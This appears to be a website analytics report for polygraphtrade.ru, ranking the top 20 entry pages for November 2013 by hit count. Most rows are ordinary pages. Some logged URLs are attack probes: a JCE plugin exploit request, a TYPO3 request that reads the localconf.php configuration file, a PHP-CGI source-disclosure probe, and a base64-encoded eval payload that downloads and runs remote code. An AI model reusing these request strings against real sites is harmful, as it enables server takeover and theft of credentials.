Month of 11/1/2013 to 11/30/2013: Top 20 of 107 Entry Pages

Sorted by Entry Count

Rank Entry Page Entry Count %
1 http://www.polygraphtrade.ru/robots.txt 1,723 28.14
2 http://www.polygraphtrade.ru/index.php 1,707 27.88
3 http://www.polygraphtrade.ru* 1,699 27.75
4 http://www.polygraphtrade.ru/Sitemap.xml 143 2.34
5 http://www.polygraphtrade.ru/sitemap_000.xml 131 2.14
6 http://www.polygraphtrade.ru/sitemap_index.xml 130 2.12
7 http://www.polygraphtrade.ru/news/index.php?ID=2 124 2.03
8 http://www.polygraphtrade.ru/contacts/index.php 91 1.49
9 http://www.polygraphtrade.ru/catalog/index.php 37 0.60
10 http://www.polygraphtrade.ru/pricelist/index.php 30 0.49
11 http://www.polygraphtrade.ru/news/index.php 29 0.47
12 http://www.polygraphtrade.ru/training/index.php 22 0.36
13 http://www.polygraphtrade.ru/polygraph/index.php 20 0.33
14 http://www.polygraphtrade.ru/index.php?-s 8 0.13
15 http://www.polygraphtrade.ru/images/logo.png 7 0.11
16 http://www.polygraphtrade.ru/index.php?option=com_jce&task=p
lugin&plugin=imgmanager&file=imgmanager&method=form&cid=20&6
bc427c8a7981f4fe1f5ac65c1246b5f=cf6dd3cf1923c950586d0dd595c8
e20b
7 0.11
17 http://www.polygraphtrade.ru/index.php?jumpurl=typo3conf/loc
alconf.php&juSecure=1&type=0&locationData=3:
5 0.08
18 http://www.polygraphtrade.ru/index.php?route=feed/google_bas
e
5 0.08
19 http://www.polygraphtrade.ru/favicon.ico 5 0.08
20 http://www.polygraphtrade.ru/index.php?img=eval(base64_decod
e(ZXZhbChmaWxlX2dldF9jb250ZW50cygnaHR0cDovL2h3LWNhcmdvLnJ1L2
5ldGNhdF9maWxlcy8xNjcvMS50eHQnKSk7));
5 0.08